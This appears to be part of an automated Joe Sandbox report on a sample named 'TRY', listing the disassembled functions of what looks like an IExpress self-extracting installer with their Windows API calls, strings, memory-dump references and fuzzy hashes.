Instruction ID: ba66f20b8b669a81331c92cdf370f83ddbb145f6ccfd954b5f6693bf78bee030
Opcode Fuzzy Hash: 40f232f804d3de6f42de40c3d46f48b6aa97a76c85812b48c9ef079cce016815
Instruction Fuzzy Hash: 6D5104B6A0564487F7609F21E8507E9A3A0F788775F68403DDA49822ADDF3CCB46CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB64FA0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 159filestringCOMMON

Download Yara Rule

APIs

lstrcmpA.KERNEL32 ref: 000000013FB65027
CreateFileA.KERNELBASE ref: 000000013FB650DF
CreateFileA.KERNEL32 ref: 000000013FB65186

Strings

*MEMCAB, xrefs: 000000013FB6501D

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: CreateFile$lstrcmp
String ID: *MEMCAB
API String ID: 1301100335-3211172518
Opcode ID: 8a2ec7afe2b51a4f3a104787b125c2abcbb1919d4f600384edff3266c69d9446
Instruction ID: d3ffdab35a020976b7d6d6a08f85a4d46693fb249ebd0bdf12a9d6b03eca823c
Opcode Fuzzy Hash: 8a2ec7afe2b51a4f3a104787b125c2abcbb1919d4f600384edff3266c69d9446
Instruction Fuzzy Hash: 1A61B2F2E1478486FB608F15E9807A9A691F355BB8F544339CAB6037DCCB78C6578B00

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB65480 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 147timeCOMMON

Download Yara Rule

APIs

DosDateTimeToFileTime.KERNEL32 ref: 000000013FB6555F
LocalFileTimeToFileTime.KERNEL32 ref: 000000013FB65577
SetFileTime.KERNELBASE ref: 000000013FB65599
SetFileAttributesA.KERNELBASE ref: 000000013FB655C9
SetDlgItemTextA.USER32 ref: 000000013FB655F6

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 000000013FB6550B, 000000013FB6560C

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: FileTime$AttributesDateItemLocalText
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 851750970-552775693
Opcode ID: 7d875f159341b7230950f18f2f71abc3d82ac459eefbd0f33785da50a5c8e793
Instruction ID: 55dbf16a687e866e39d22fff77731713149766cf6b6f0c2783e6199397948509
Opcode Fuzzy Hash: 7d875f159341b7230950f18f2f71abc3d82ac459eefbd0f33785da50a5c8e793
Instruction Fuzzy Hash: 95519EF2A10A4181FB608B21E8507EDA3A0F784BB1F44113EDA5E472DDDA38CBA3C750

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB67960 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

__getmainargs.MSVCRT ref: 000000013FB67998

Strings

0f6, xrefs: 000000013FB6796A

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: __getmainargs
String ID: 0f6
API String ID: 3565562838-657941818
Opcode ID: 275af33df96ac1c1a804af0c188c72368faf2eba7cb6a2ae800b8ec4454fcbff
Instruction ID: 1f56c6ddb861adfc94777e08b2a427723e27af103a669b3ee4395437b10a97cb
Opcode Fuzzy Hash: 275af33df96ac1c1a804af0c188c72368faf2eba7cb6a2ae800b8ec4454fcbff
Instruction Fuzzy Hash: 4AE0EAF6E01A469AEA10AF95F9407D4B7A0F35872AF80412AC94D56338DB3C835BCB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB65280 Relevance: 3.0, APIs: 2, Instructions: 49fileCOMMON

Download Yara Rule

APIs

Part of subcall function 000000013FB63908: MsgWaitForMultipleObjects.USER32 ref: 000000013FB6392C
Part of subcall function 000000013FB63908: PeekMessageA.USER32 ref: 000000013FB6394B
Part of subcall function 000000013FB63908: PeekMessageA.USER32 ref: 000000013FB63983

WriteFile.KERNELBASE ref: 000000013FB652D4

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: MessagePeek$FileMultipleObjectsWaitWrite
String ID:
API String ID: 1084409-0
Opcode ID: d49133d5c2195b87ebe0def94a96092c9cfef79a36c4b08e02082d86901b1f76
Instruction ID: b517bf3a8ef1818dc37bd9838a17487e3245d99881001af7f13cbd8a37a20891
Opcode Fuzzy Hash: d49133d5c2195b87ebe0def94a96092c9cfef79a36c4b08e02082d86901b1f76
Instruction Fuzzy Hash: 3B114FB1A14640C2E720CF56E8443A5E7A0F788BB8F54423DD959476ECCF78C657CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB64E00 Relevance: 3.0, APIs: 2, Instructions: 41COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE ref: 000000013FB64E0D
SetFileAttributesA.KERNEL32 ref: 000000013FB64E88

Part of subcall function 000000013FB67304: FindResourceA.KERNEL32 ref: 000000013FB6732E
Part of subcall function 000000013FB67304: LoadResource.KERNEL32 ref: 000000013FB6733F
Part of subcall function 000000013FB67304: DialogBoxIndirectParamA.USER32 ref: 000000013FB6736F
Part of subcall function 000000013FB67304: FreeResource.KERNEL32 ref: 000000013FB6737B

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: Resource$AttributesFile$DialogFindFreeIndirectLoadParam
String ID:
API String ID: 2018477427-0
Opcode ID: 243369eae741d19aacabb87601a44f38098308e578327846539de662b5f04598
Instruction ID: 3ef2cb37b17a6c51cd900b120b04390abeb1efaddf3c25d31c830697b3079c67
Opcode Fuzzy Hash: 243369eae741d19aacabb87601a44f38098308e578327846539de662b5f04598
Instruction Fuzzy Hash: F41129B1E14A4086FB545F24E9487E5A691E3453B8F24413DEA48067EDCB7E8B878240

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB65350 Relevance: 1.3, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 000000013FB65389

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: e2199ce9ef1e50f94450445b336f8eb1f800428b427470215b6e51b7e546b616
Instruction ID: d7d31cca3416287176df282aa83bb5dd229f859630670a7dfb952f3c7fad152b
Opcode Fuzzy Hash: e2199ce9ef1e50f94450445b336f8eb1f800428b427470215b6e51b7e546b616
Instruction Fuzzy Hash: 8DF05EB2A14681D3EB1C4F26F6813E8B2A0E748B68F10423DDA27476CCCBB8C592C710

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 000000013FB62B24 Relevance: 28.2, APIs: 10, Strings: 6, Instructions: 171synchronizationCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 000000013FB62B78
memset.MSVCRT ref: 000000013FB62B8C

Part of subcall function 000000013FB64CC0: FindResourceA.KERNEL32 ref: 000000013FB64CE8
Part of subcall function 000000013FB64CC0: SizeofResource.KERNEL32(?,?,00000000,000000013FB62BB3), ref: 000000013FB64CF3
Part of subcall function 000000013FB64CC0: FindResourceA.KERNEL32 ref: 000000013FB64D13
Part of subcall function 000000013FB64CC0: LoadResource.KERNEL32(?,?,00000000,000000013FB62BB3), ref: 000000013FB64D1E
Part of subcall function 000000013FB64CC0: LockResource.KERNEL32(?,?,00000000,000000013FB62BB3), ref: 000000013FB64D27
Part of subcall function 000000013FB64CC0: memcpy_s.MSVCRT ref: 000000013FB64D40
Part of subcall function 000000013FB64CC0: FreeResource.KERNEL32(?,?,00000000,000000013FB62BB3), ref: 000000013FB64D49

CreateEventA.KERNEL32 ref: 000000013FB62BC9
SetEvent.KERNEL32 ref: 000000013FB62BD9
CreateMutexA.KERNEL32 ref: 000000013FB62C6A
GetLastError.KERNEL32 ref: 000000013FB62C7C
FindResourceA.KERNEL32 ref: 000000013FB62D3C
LoadResource.KERNEL32 ref: 000000013FB62D4D

Part of subcall function 000000013FB639A0: GetVersionExA.KERNEL32 ref: 000000013FB639EB

#17.COMCTL32 ref: 000000013FB62D5F
CloseHandle.KERNEL32 ref: 000000013FB62CDC

Part of subcall function 000000013FB64A70: LoadStringA.USER32 ref: 000000013FB64B04
Part of subcall function 000000013FB64A70: MessageBoxA.USER32 ref: 000000013FB64B3E

Strings

TITLE, xrefs: 000000013FB62BA7
, xrefs: 000000013FB62CC3
tha, xrefs: 000000013FB62BA0, 000000013FB62C8C
VERCHECK, xrefs: 000000013FB62D32
EXTRACTOPT, xrefs: 000000013FB62BEA
INSTANCECHECK, xrefs: 000000013FB62C44

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: Resource$FindLoad$CreateEventmemset$CloseErrorFreeHandleLastLockMessageMutexSizeofStringVersionmemcpy_s
String ID: $EXTRACTOPT$INSTANCECHECK$TITLE$VERCHECK$tha
API String ID: 3100096412-3380029818
Opcode ID: 99a5b2a0ec1b945be53423b18da261cd1a6f7f9ebb90be66510584ff9c7f5bf8
Instruction ID: cbb91bb52e11c9852e641c07b8d102910fc98208085a42ec8f86f57553cc8ea9
Opcode Fuzzy Hash: 99a5b2a0ec1b945be53423b18da261cd1a6f7f9ebb90be66510584ff9c7f5bf8
Instruction Fuzzy Hash: F581ACF1F1464182FB609B25E9507EAE690B7997B9F10003ED98A46AEDDB7CC747CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB633C0 Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 161windowCOMMON

Download Yara Rule

APIs

LoadStringA.USER32 ref: 000000013FB6343A
EndDialog.USER32 ref: 000000013FB635BA
GetDesktopWindow.USER32 ref: 000000013FB635E4
SetWindowTextA.USER32 ref: 000000013FB635FF
SendDlgItemMessageA.USER32 ref: 000000013FB6361D
GetDlgItem.USER32 ref: 000000013FB63634
EnableWindow.USER32 ref: 000000013FB6363F
EndDialog.USER32 ref: 000000013FB6364C

Strings

tha, xrefs: 000000013FB635F5
, xrefs: 000000013FB63528
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 000000013FB634B3

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: Window$DialogItem$DesktopEnableLoadMessageSendStringText
String ID: $C:\Users\user\AppData\Local\Temp\IXP000.TMP\$tha
API String ID: 3530494346-2429308302
Opcode ID: b32232c71f02db9eac751eaa73e0219094b90672794be299764bd12c1609fe4c
Instruction ID: c0e692bfaac61c54a79fd825985789427394629413dbd8dac46edc7734f85d69
Opcode Fuzzy Hash: b32232c71f02db9eac751eaa73e0219094b90672794be299764bd12c1609fe4c
Instruction Fuzzy Hash: 4E619FF1E0468086FBA09B22E9547EAE691A785BB4F18453DCA4647BDDCF3CC7478710

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB612C0 Relevance: 16.6, APIs: 11, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 000000013FB611C0: LoadLibraryA.KERNEL32 ref: 000000013FB611FD
Part of subcall function 000000013FB611C0: GetProcAddress.KERNEL32 ref: 000000013FB61219
Part of subcall function 000000013FB611C0: AllocateAndInitializeSid.ADVAPI32 ref: 000000013FB61260
Part of subcall function 000000013FB611C0: FreeSid.ADVAPI32 ref: 000000013FB61282
Part of subcall function 000000013FB611C0: FreeLibrary.KERNEL32 ref: 000000013FB6128B

GetCurrentProcess.KERNEL32 ref: 000000013FB61321
OpenProcessToken.ADVAPI32 ref: 000000013FB61331
GetTokenInformation.ADVAPI32 ref: 000000013FB61354
GetLastError.KERNEL32 ref: 000000013FB61362
LocalAlloc.KERNEL32 ref: 000000013FB61376
GetTokenInformation.ADVAPI32 ref: 000000013FB6139E
AllocateAndInitializeSid.ADVAPI32 ref: 000000013FB613E5
EqualSid.ADVAPI32 ref: 000000013FB6140A
FreeSid.ADVAPI32 ref: 000000013FB61429
LocalFree.KERNEL32 ref: 000000013FB61432
CloseHandle.KERNEL32 ref: 000000013FB6143C

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: Free$Token$AllocateInformationInitializeLibraryLocalProcess$AddressAllocCloseCurrentEqualErrorHandleLastLoadOpenProc
String ID:
API String ID: 2168512254-0
Opcode ID: 97142c8180b182c09d7e65f73d61bf3d69a57c2ebd7ef9200e0a5b9acfa85d0c
Instruction ID: b3cc1326364e70b5cab66a8656950577a5ad0fa55d2bbfd5ec2e66805118332d
Opcode Fuzzy Hash: 97142c8180b182c09d7e65f73d61bf3d69a57c2ebd7ef9200e0a5b9acfa85d0c
Instruction Fuzzy Hash: 9A5150B2A006408AEB20DF21E4947DDB3A4F748BA8F51513DEA4D93B5CDF39C646CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB61B44 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 58shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,00000000,000000013FB62AF3), ref: 000000013FB61B59
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,00000000,000000013FB62AF3), ref: 000000013FB61B6C
LookupPrivilegeValueA.ADVAPI32 ref: 000000013FB61BA7
AdjustTokenPrivileges.ADVAPI32 ref: 000000013FB61BD8
CloseHandle.KERNEL32 ref: 000000013FB61BE5
ExitWindowsEx.USER32 ref: 000000013FB61C08

Strings

SeShutdownPrivilege, xrefs: 000000013FB61BA0

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentExitHandleLookupOpenPrivilegePrivilegesValueWindows
String ID: SeShutdownPrivilege
API String ID: 2829607268-3733053543
Opcode ID: 755c1f95413603282cdaf0838d41edb21c135bbbd8bb097cb716c8789541b3cb
Instruction ID: e0184e93c3bad98bd53ddd28c51e667ab7906baa323c921cb8e1938539b3e16d
Opcode Fuzzy Hash: 755c1f95413603282cdaf0838d41edb21c135bbbd8bb097cb716c8789541b3cb
Instruction Fuzzy Hash: 142165F2A2464182F7608B60F4597EBF360F798B69F20503DE64A46A5CDF7CC2468B00

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB68114 Relevance: 9.0, APIs: 6, Instructions: 49timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000000013FB68144
GetCurrentProcessId.KERNEL32 ref: 000000013FB68152
GetCurrentThreadId.KERNEL32 ref: 000000013FB6815E
GetTickCount.KERNEL32 ref: 000000013FB6816A
GetTickCount.KERNEL32 ref: 000000013FB6817A
QueryPerformanceCounter.KERNEL32 ref: 000000013FB68195

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: CountCurrentTickTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 4104442557-0
Opcode ID: 4f2a0639155c5e925320fcd736b091fdafd92ce9187d839ac1d0c4f5e4d7b07b
Instruction ID: 4fdd18b5eeb022a658e0a1c354d79474eaa87e1d5f3756465266594eb97066e5
Opcode Fuzzy Hash: 4f2a0639155c5e925320fcd736b091fdafd92ce9187d839ac1d0c4f5e4d7b07b
Instruction Fuzzy Hash: D3112C76B01B408AEB10DF71E854399B3A4F70976CF401A39EA6D47B58EF78C6A5C340

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB66998 Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 434COMMON

Download Yara Rule

APIs

CharNextA.USER32 ref: 000000013FB66A10
GetModuleFileNameA.KERNEL32 ref: 000000013FB66AE5
CharUpperA.USER32 ref: 000000013FB66B22
CharUpperA.USER32 ref: 000000013FB66BB2
CompareStringA.KERNEL32 ref: 000000013FB66C40
CharUpperA.USER32 ref: 000000013FB66C75
CharUpperA.USER32 ref: 000000013FB66CCB
CharUpperA.USER32 ref: 000000013FB66D5E
CloseHandle.KERNEL32 ref: 000000013FB66F5E
ExitProcess.KERNEL32 ref: 000000013FB66F66

Strings

RegServer, xrefs: 000000013FB66C31
:, xrefs: 000000013FB66D09
", xrefs: 000000013FB66A71
@, xrefs: 000000013FB66F3E

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: Char$Upper$CloseCompareExitFileHandleModuleNameNextProcessString
String ID: "$:$@$RegServer
API String ID: 1203814774-4077547207
Opcode ID: 12dbcaa9ab24823adec4c851043693544301958f98602ebb2d68d5c9481071a5
Instruction ID: c0a82efb8a462b0a62833d012072c6be307b537c06430c5b354146ddaba80233
Opcode Fuzzy Hash: 12dbcaa9ab24823adec4c851043693544301958f98602ebb2d68d5c9481071a5
Instruction Fuzzy Hash: 2102F4F2F0468481FE648B28D4543E9EBA3A7557B4F58063DD99A0EADDCA39CB07C704

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB63720 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 107threadwindowCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32 ref: 000000013FB63774
ResetEvent.KERNEL32 ref: 000000013FB63796
SetEvent.KERNEL32 ref: 000000013FB637D7
GetDesktopWindow.USER32 ref: 000000013FB63810
GetDlgItem.USER32 ref: 000000013FB63834
SendMessageA.USER32 ref: 000000013FB6384B
GetDlgItem.USER32 ref: 000000013FB63856
SendMessageA.USER32 ref: 000000013FB6386F
SetWindowTextA.USER32 ref: 000000013FB6387F
CreateThread.KERNEL32 ref: 000000013FB638A4
EndDialog.USER32 ref: 000000013FB638E8

Strings

tha, xrefs: 000000013FB63875
, xrefs: 000000013FB637BA

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: EventItemMessageSendThreadWindow$CreateDesktopDialogResetTerminateText
String ID: $tha
API String ID: 2654313074-3973746845
Opcode ID: b3c2b2ef615d35578e8726eb57ba44340733395281d979963716657eb2164978
Instruction ID: 622da078ea5c4a9309699713eef5db0884d42ade5a7e89be44fbabb1218ebca0
Opcode Fuzzy Hash: b3c2b2ef615d35578e8726eb57ba44340733395281d979963716657eb2164978
Instruction Fuzzy Hash: C8418BF1E04A4082FB249B25E9447E9E3A1A784BB5F18423ED91A47BECCF3D8647C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB64768 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 114libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 000000013FB6478E
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000013FB6346D), ref: 000000013FB647AC
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000013FB6346D), ref: 000000013FB647C6
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000013FB6346D), ref: 000000013FB647E2
GetTempPathA.KERNEL32 ref: 000000013FB6480B
CharPrevA.USER32 ref: 000000013FB64824
CharPrevA.USER32 ref: 000000013FB64838
FreeLibrary.KERNEL32 ref: 000000013FB648CF
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000013FB6346D), ref: 000000013FB648E5

Strings

SHGetPathFromIDList, xrefs: 000000013FB647D8
SHELL32.DLL, xrefs: 000000013FB64787
SHBrowseForFolder, xrefs: 000000013FB647A2

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: AddressLibraryProc$CharFreePrev$LoadPathTemp
String ID: SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
API String ID: 1865808269-1731843650
Opcode ID: 736fc19ecd43b7d2575f89e8e3507fd18e5a39b1beba44f6e218ac1590884990
Instruction ID: c4a6c7f3508d432dce1797c5f35629f49cfcd8398f0424e26b3ac270ba3cdfbb
Opcode Fuzzy Hash: 736fc19ecd43b7d2575f89e8e3507fd18e5a39b1beba44f6e218ac1590884990
Instruction Fuzzy Hash: 014157F5A05B8085FB519B11F85079AF7A0F749BA5F844539DE8A07B98DF3CC64AC700

Uniqueness

Uniqueness Score: -1.00%

Function 000000013FB632B0 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 59windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 000000013FB632F0
GetDesktopWindow.USER32 ref: 000000013FB632F8
SetDlgItemTextA.USER32 ref: 000000013FB63318
SetWindowTextA.USER32 ref: 000000013FB63328
SetForegroundWindow.USER32 ref: 000000013FB63331
GetDlgItem.USER32 ref: 000000013FB6333F
GetWindowLongPtrA.USER32 ref: 000000013FB63350
SetWindowLongPtrA.USER32 ref: 000000013FB6336C
SendDlgItemMessageA.USER32 ref: 000000013FB63397

Strings

tha, xrefs: 000000013FB6331E
p}', xrefs: 000000013FB63309

Memory Dump Source

Source File: 00000009.00000002.945776654.000000013FB61000.00000020.00000001.01000000.00000005.sdmp, Offset: 000000013FB60000, based on PE: true

Associated: 00000009.00000002.945772284.000000013FB60000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945782546.000000013FB69000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945787480.000000013FB6C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000009.00000002.945792399.000000013FB6E000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_13fb60000_TRY.jbxd

Similarity

API ID: Window$Item$LongText$DesktopDialogForegroundMessageSend
String ID: p}'$tha
API String ID: 3785188418-1583393498
Opcode ID: 27b069c42d7cb845fa97ce8d939dda9c2cba10eeb794f59d18c4f9ea67e0c096
Instruction ID: 9f35cf4f56527674ce44bcf8f41bb74c3b2ae8de18e4af1e3cd3e9cad12d879c
Opcode Fuzzy Hash: 27b069c42d7cb845fa97ce8d939dda9c2cba10eeb794f59d18c4f9ea67e0c096
Instruction Fuzzy Hash: 5A210BF4E0064186FA649B65E8183E4E361A78AB75F58933DC82A463ECDF3D874BC710

